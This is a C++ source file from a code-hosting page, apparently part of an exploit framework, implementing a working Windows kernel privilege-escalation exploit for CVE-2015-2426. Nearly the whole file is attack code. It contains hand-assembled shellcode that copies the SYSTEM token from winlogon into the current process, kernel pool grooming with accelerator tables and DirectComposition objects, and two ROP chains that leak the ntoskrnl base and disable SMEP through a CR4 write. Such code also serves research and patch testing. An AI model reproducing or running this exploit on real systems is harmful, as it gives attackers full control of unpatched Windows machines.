Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2015-2426/dll/src/Exploiter.cpp
Views: 11789
#include <Windows.h>1#include "Exploiter.h"23static const int AccelArrayBase = 0x43000000;4static const int HwndArrayBase = 0x44000000;5static const int DcomArrayBase = 0x41000000;6static const int PayloadBase = 0x42000000;7// Not using const to make the compiler to store8// the variables in .data9static ULONGLONG win32kPopRaxRet = 0xdeedbeefdeedbe01;10static ULONGLONG win32kXchgRaxRsp = 0xdeedbeefdeedbe02;11static ULONGLONG win32kExAllocatePoolWithTag = 0xdeedbeefdeedbe03;12static ULONGLONG win32kPopRcxRet = 0xdeedbeefdeedbe04;13static ULONGLONG win32kDefRaxIntoRcx = 0xdeedbeefdeedbe05;14static ULONGLONG win32kWriteRaxIntoRcx = 0xdeedbeefdeedbe06;15static ULONGLONG win32kPopRbxRet = 0xdeedbeefdeedbe07;16static ULONGLONG win32kRet = 0xdeedbeefdeedbe08;17static ULONGLONG win32kMovRaxR11Ret = 0xdeedbeefdeedbe09;18static ULONGLONG win32kAddRaxRcxRet = 0xdeedbeefdeedbe0a;19static ULONGLONG win32kPopEspRet = 0xdeedbeefdeedbe0b;20static ULONGLONG win32kXchgRaxRspAdjust = 0xdeedbeefdeedbe0c;21static ULONGLONG win32kCHwndDelete = 0xdeedbeefdeedbe0d;22static ULONGLONG ntSetCr4 = 0xdeedbeefdeedbe0e;23static ULONGLONG ntExAllocatePoolWithTag = 0xdeedbeefdeedbe0f;2425typedef NTSTATUS(__stdcall *FuncCreateDCompositionHwndTarget) (26_In_ HANDLE hWnd,27_In_ DWORD dwNum,28_Out_ ULONGLONG pMem29);3031typedef NTSTATUS(__stdcall *FuncDestroyDCompositionHwndTarget) (32_In_ HANDLE hWnd,33_In_ DWORD dwNum34);3536typedef LRESULT(WINAPI *FuncDefWindowProcA) (37_In_ HWND hWnd,38_In_ UINT Msg,39_In_ WPARAM wParam,40_In_ LPARAM lParam41);4243static CHAR sc[] = {44'\x4D', '\x8B', '\xBB', '\x68', '\x01', '\x00', '\x00', // mov r15, [r11+0x168], save return address of kernel stack45'\x41', '\x51', // push r9 save regs46'\x41', '\x52', // push r1047'\x65', '\x4C', '\x8B', '\x0C', '\x25', '\x88', '\x01', '\x00', '\x00', // mov r9, gs:[0x188], get _ETHREAD from KPCR (PRCB @ 0x180 from KPCR, _ETHREAD @ 0x8 from PRCB)48'\x4D', '\x8B', '\x89', '\xB8', '\x00', '\x00', '\x00', // mov r9, [r9+0xb8], get _EPROCESS from _ETHREAD49'\x4D', '\x89', '\xCA', // mov r10, r9 save current eprocess50'\x4D', '\x8B', '\x89', '\x40', '\x02', '\x00', '\x00', // mov r9, [r9+0x240] $a, get blink51'\x49', '\x81', '\xE9', '\x38', '\x02', '\x00', '\x00', // sub r9, 0x238 => _KPROCESS52'\x41', '\x81', '\xB9', '\x38', '\x04', '\x00', '\x00', '\x77', '\x69', '\x6E', '\x6C', // cmp [r9+0x438], 0x6c6e6977 does ImageName begin with 'winl' (winlogon)53'\x75', '\xe5', // jnz $a no? then keep searching!54'\x4D', '\x8B', '\xA1', '\xE0', '\x02', '\x00', '\x00', // mov r12, [r9+0x2e0] get pid55'\x48', '\xC7', '\xC0', '\x00', '\x10', '\x00', '\x42', // mov rax, 0x4200100056'\x4C', '\x89', '\x20', // mov [rax], r12 save pid for use later57'\x4D', '\x8B', '\x89', '\x48', '\x03', '\x00', '\x00', // mov r9, [r9+0x348] get token58'\x49', '\x83', '\xE1', '\xF0', // and r9, 0xfffffffffffffff0 get SYSTEM token's address59'\x49', '\x83', '\x41', '\xD0', '\x0A', // add [r9-0x30], 0x10 increment SYSTEM token's reference count by 0x1060'\x4D', '\x89', '\x8A', '\x48', '\x03', '\x00', '\x00', // mov [r10+0x348], r9 replace our token with system token61'\x41', '\x5A', // pop r10 restore regs62'\x41', '\x59', // pop r963'\x41', '\x53', // push r11, pointer near to original stack64'\x5C', // pop rsp65'\x48', '\x83', '\xec', '\x28', // sub rsp, 0x28, restore original kernel rsp66'\xFF', '\x24', '\x25', '\x70', '\x50', '\x00', '\x42', // jmp [0x42005070], continue on to delete the object CHwndTargetProp::Delete(void)67068};69static HWND *pHwnds = NULL;70static HACCEL *pAccels = NULL;71static FuncCreateDCompositionHwndTarget MyCreateDCompositionHwndTarget = NULL;72static FuncDestroyDCompositionHwndTarget MyDestroyDCompositionHwndTarget = NULL;737475// WndProc is a callback function that is needed when creating a window.76// It does nothing of consequence. However, the exploit relies on overriding77// a suitable object (`CreateDCompositionHwndTarget`), which requires a78// window. Hence we need to create windows.79LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {80FuncDefWindowProcA MyDefWindowProcA;81ULONGLONG pMyDefWindowProcA;8283pMyDefWindowProcA = *(ULONGLONG *)(PayloadBase + 0x1950);84MyDefWindowProcA = (FuncDefWindowProcA)pMyDefWindowProcA;85return MyDefWindowProcA(hwnd, msg, wParam, lParam);86}8788VOID ExploiterInit() {89LoadLibrary("USER32.dll");90HMODULE user32 = GetModuleHandle("USER32.dll");91MyCreateDCompositionHwndTarget = (FuncCreateDCompositionHwndTarget)GetProcAddress(user32, "CreateDCompositionHwndTarget");92MyDestroyDCompositionHwndTarget = (FuncDestroyDCompositionHwndTarget)GetProcAddress(user32, "DestroyDCompositionHwndTarget");93// Allocate memory regions that we use to store various data.94VirtualAlloc((LPVOID)DcomArrayBase, 0x2000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);95VirtualAlloc((LPVOID)PayloadBase, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);96SecureZeroMemory((LPVOID)PayloadBase, 0x10000);97memcpy((LPVOID)PayloadBase, sc, sizeof(sc));9899// Save the function pointer of DefWindowProcA globally while we are still in user-mode.100// The callback (WndProc) that runs in kernel mode later cannot call `GetProcAddressWithHash`101// any more. Hence, we store this first, so that WndProc can access it directly later.102ULONGLONG *pDefWindowProcA = (ULONGLONG *)(PayloadBase + 0x1950);103*pDefWindowProcA = (ULONGLONG)GetProcAddress(user32, "DefWindowProcA"); // ntdll's DefWindowProcA's hash104}105106VOID ExploiterDoFengShui() {107HINSTANCE hThisInstance;108ATOM classAtom;109WNDCLASSEXA windowClass;110HWND hWnd;111HACCEL hAccel;112LPACCEL lpAccel;113// Strings needed.114CHAR winClass[] = { 'w', 'i', 'n', 'c', 'l', 's', '0', '0', '0', '0', 0 };115CHAR winClassFmt[] = { 'w', 'i', 'n', 'c', 'l', 's', '%', '0', '4', 'x', 0 };116CHAR winTitle[] = { 'w', 'i', 'n', 't', 'i', 't', '0', '0', '0', '0', 0 };117CHAR winTitleFmt[] = { 'w', 'i', 'n', 't', 'i', 't', '%', '0', '4', 'x', 0 };118119// Initial setup for pool fengshui.120lpAccel = (LPACCEL)malloc(sizeof(ACCEL));121SecureZeroMemory(lpAccel, sizeof(ACCEL));122123// Create many accelerator tables, and store them.124pAccels = (HACCEL *)VirtualAlloc((LPVOID)(AccelArrayBase), sizeof(HACCEL)* 5000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);125for (INT i = 0; i < 5000; i++) {126hAccel = CreateAcceleratorTableA(lpAccel, 1);127pAccels[i] = hAccel;128}129130// Create window handles, and store them.131pHwnds = (HWND *)VirtualAlloc((LPVOID)(HwndArrayBase), sizeof(HWND)* 1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);132hThisInstance = GetModuleHandleA(NULL);133for (INT i = 0; i < 1000; i++) {134SecureZeroMemory(&windowClass, sizeof(WNDCLASSEXA));135wsprintfA(winClass, winClassFmt, i);136wsprintfA(winTitle, winTitleFmt, i);137138windowClass.cbSize = sizeof(WNDCLASSEXA);139windowClass.style = CS_HREDRAW | CS_VREDRAW;140windowClass.lpfnWndProc = (WNDPROC)WndProc;141windowClass.hInstance = hThisInstance;142windowClass.hIcon = NULL;143windowClass.hCursor = NULL;144windowClass.hbrBackground = (HBRUSH)COLOR_WINDOW;145windowClass.lpszMenuName = NULL;146windowClass.lpszClassName = winClass;147classAtom = RegisterClassExA(&windowClass);148hWnd = CreateWindowEx(0, MAKEINTATOM(classAtom), winTitle, WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, NULL, NULL, hThisInstance, NULL);149150if (hWnd) {151pHwnds[i] = hWnd;152}153else {154break;155}156}157158// Create holes in the series of accelerator tables.159for (INT i = 3600; i < 4600; i += 2) {160DestroyAcceleratorTable(pAccels[i]);161}162163// Fill the holes with with DCompositionHwndTarget(s).164// (at this point we have a series of alternating DCompositionHwndTarget objects)165for (INT i = 0; i < 500; i++) {166MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);167}168169// Create "adjacent" holes (to the previous holes) in the series of170// accelerator tables.171for (INT i = 3601; i < 4601; i += 2) {172DestroyAcceleratorTable(pAccels[i]);173}174175// Fill the holes with with DCompositionHwndTarget(s).176// (at this point we have a contiguous series of DCompositionHwndTarget objects)177for (INT i = 500; i < 1000; i++) {178MyCreateDCompositionHwndTarget(pHwnds[i], 0, DcomArrayBase + i * 4);179}180181// Create some holes in the contiguous series of DCompositionHwndTarget objects,182// that we insert the vulnerable object into.183for (INT i = 400; i < 405; i++) {184MyDestroyDCompositionHwndTarget(pHwnds[i], 0);185}186}187188// Clean up for the heap fengshui performed earlier (for cleanliness, reliability).189VOID ExpoiterCleanUp() {190for (INT i = 0; i < 5000; i++) {191DestroyAcceleratorTable(pAccels[i]);192}193}194195// Setup stack pivot and adjustment, also the ROP chain 1 to etrieve base address196// of `ntoskrnl`.197VOID ExploiterSetupFirstChain(ULONGLONG win32kBaseAddr) {198// Stack pivot and adjustment.199//200// IMPORTANT NOTE.201//202// This vTable is actually accessed twice as part of the code flow.203// The first access is to the 2nd method in the vTable, at [RAX+8] (*).204// The second access is to the 1st method in the vTable, at [RAX] (**).205//206// (*) First access207//208// As mentioned, in the code flow, there is a CALL [RAX+8], where RAX is the209// address of the fake vTable (0x42005000).210//211// The call places us at [0x42005000+8], which is the xchg instruction212// (stack pivot). At this point after the xchg, RSP is pointing to 0x42005000.213// The next instruction of the gadget is RET, which will exec. POP RAX.214// This sequence (RET + POP) shifts RSP by a total of 16 bytes, which is the215// start of ROP chain 1.216//217*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret <-- RAX218*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kXchgRaxRsp; // xchg rax, rsp # ret (pivot) <-- this is where (1st) CALL jumps to.219//220// --- End stack pivot and adjustment ---221222// ROP chain 1: Retrieve base address of `ntoskrnl`.223//224// When ROP chain 1 exits, RBX will hold the address of the our225// (fake) vTable. And 0x42000100 will hold the (leaked) address of226// `ntoskrnl!ExAllocatePoolWithTag`.227//228*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret (RAX is source for our write)229*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kExAllocatePoolWithTag; // pop into rax (pointer to leaked address of `ntoskrnl!ExAllocatePoolWithTag` that win32k imports)230*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret (RCX is destination for our write)231*(ULONGLONG *)(PayloadBase + 0x5028) = PayloadBase + 0x100; // pop into rcx (memory to write leaked address)232*(ULONGLONG *)(PayloadBase + 0x5030) = win32kBaseAddr + win32kDefRaxIntoRcx; // mov rax, [rax] # mov [rcx], rax # ret (write gadget to [RCX])233234// (**) Second access235//236// The second time the vTable is accessed (described above), it will237// try to execute `POP RAX # RET`, which is undesirable. Hence, as part of238// the *first* ROP chain, we override the vTable again, so that the second239// access to it will be okay.240//241// When the code flow resumes after ROP chain 1 ends, the code will242// use *RBX for its second access to the vTable. Hence, we want to243// place our own value into RBX. Therefore, we `POP RBX`, which places244// 0x42005100 into RBX. 0x42005100 is yet another (unused) memory245// region that we control. We will construct a new fake vTable at 0x42005100.246//247*(ULONGLONG *)(PayloadBase + 0x5038) = win32kBaseAddr + win32kPopRbxRet; // pop rbx # ret248*(ULONGLONG *)(PayloadBase + 0x5040) = PayloadBase + 0x5100; // this will clobber the existing vTable object pointer (RBX) -------------------------------249// |250// Setup the new fake vTable at 0x42005100. We don't do anything interesting |251// with the second call. We just want it to return nicely. |252*(ULONGLONG *)(PayloadBase + 0x5100) = PayloadBase + 0x5110; // double-dereference to get to gadget (actual ROP chain |253*(ULONGLONG *)(PayloadBase + 0x5108) = PayloadBase + 0x5110; // (arbitrary pointer to pointer) continues here) |254*(ULONGLONG *)(PayloadBase + 0x5110) = win32kBaseAddr + win32kRet; // (`RET` gadget) |255// |256// Resume execution. Restore original stack pointer. |257*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kMovRaxR11Ret; // mov rax, r11 # ret (register holding a value close to original stack pointer) <-258*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret259*(ULONGLONG *)(PayloadBase + 0x5058) = 0x8; // pop into rcx260*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kAddRaxRcxRet; // add rax, rcx # ret (adjust the stack pointer)261*(ULONGLONG *)(PayloadBase + 0x5068) = win32kBaseAddr + win32kPopRcxRet; // pop rcx # ret262*(ULONGLONG *)(PayloadBase + 0x5070) = PayloadBase + 0x5088; // pop into rcx263*(ULONGLONG *)(PayloadBase + 0x5078) = win32kBaseAddr + win32kWriteRaxIntoRcx; // mov [rcx], rax # ret (write gadget to [RCX])--264*(ULONGLONG *)(PayloadBase + 0x5080) = win32kBaseAddr + win32kPopEspRet; // pop rsp # ret |265//*(ULONGLONG *)(PayloadBase + 0x5088) <----------------------------------------------------------------------------------------266}267268// Setup the ROP chain 2, Disable SMEP and return to token stealing shellcode.269// Now we reset the values in our fake vTable (0x42005000), with a new270// ROP chain. This gets called later in the second trigger.271VOID ExploiterSetupSecondChain(ULONGLONG win32kBaseAddr, ULONGLONG ntBaseAddr) {272*(ULONGLONG *)(PayloadBase + 0x5000) = win32kBaseAddr + win32kXchgRaxRspAdjust; // xchg eax, esp # sbb al, 0 # mov eax, ebx # add rsp, 0x20 # pop rbx # ret273*(ULONGLONG *)(PayloadBase + 0x5008) = win32kBaseAddr + win32kRet; // filler274*(ULONGLONG *)(PayloadBase + 0x5010) = win32kBaseAddr + win32kRet; // filler275*(ULONGLONG *)(PayloadBase + 0x5018) = win32kBaseAddr + win32kRet; // filler276*(ULONGLONG *)(PayloadBase + 0x5020) = win32kBaseAddr + win32kRet; // filler277*(ULONGLONG *)(PayloadBase + 0x5028) = win32kBaseAddr + win32kPopRaxRet; // pop rax # ret278*(ULONGLONG *)(PayloadBase + 0x5030) = 0x406f8; // pop into rax, cr4 value279*(ULONGLONG *)(PayloadBase + 0x5038) = ntBaseAddr + ntSetCr4; // mov cr4, rax # add rsp, 0x28 # ret (SMEP disabling gadget)280*(ULONGLONG *)(PayloadBase + 0x5040) = win32kBaseAddr + win32kRet; // filler281*(ULONGLONG *)(PayloadBase + 0x5048) = win32kBaseAddr + win32kRet; // filler282*(ULONGLONG *)(PayloadBase + 0x5050) = win32kBaseAddr + win32kRet; // filler283*(ULONGLONG *)(PayloadBase + 0x5058) = win32kBaseAddr + win32kRet; // filler284*(ULONGLONG *)(PayloadBase + 0x5060) = win32kBaseAddr + win32kRet; // filler285*(ULONGLONG *)(PayloadBase + 0x5068) = PayloadBase; // return to userland and win!286*(ULONGLONG *)(PayloadBase + 0x5070) = win32kBaseAddr + win32kCHwndDelete; // CHwndTargetProp::Delete(void)287}288289// First trigger (ROP chain 1)290//291// When `DestroyDCompositionHwndTarget` is called, it will destroy the object292// by calling its destructor, which will make use of the overwritten vTable293// pointer. This, we abuse, to call ROP chain 1. ROP chain 1 leaks the address294// of `ntoskrnl!ExAllocatePoolWithTag`.295VOID ExploiterRunFirstChain() {296for (INT i = 0; i < 1000; i++) {297MyDestroyDCompositionHwndTarget(pHwnds[i], 0);298}299}300301// Second trigger (ROP chain 2)302//303// When `DestroyWindow` is called, it will attempt to find any dangling304// references to the window. Because the "first trigger" did not properly305// destroy the `DCompositionHwndTarget` object (which has a reference to306// the window), `DestroyWindow` will try, again, to call the destructor307// for the `DCompositionHwndTarget` object. Hence, the same destructor is308// called. But because we have already re-setup the vTable, it calls309// ROP chain 2.310VOID ExploiterRunSecondChain() {311for (INT i = 0; i < 1000; i++) {312DestroyWindow(pHwnds[i]);313}314}315316// Compute actual base address of `ntoskrnl` from `ntoskrnl!ExAllocatePoolWithTag`.317ULONGLONG ExploiterGetNtBase() {318return *(ULONGLONG *)(PayloadBase + 0x100) - ntExAllocatePoolWithTag;319}320321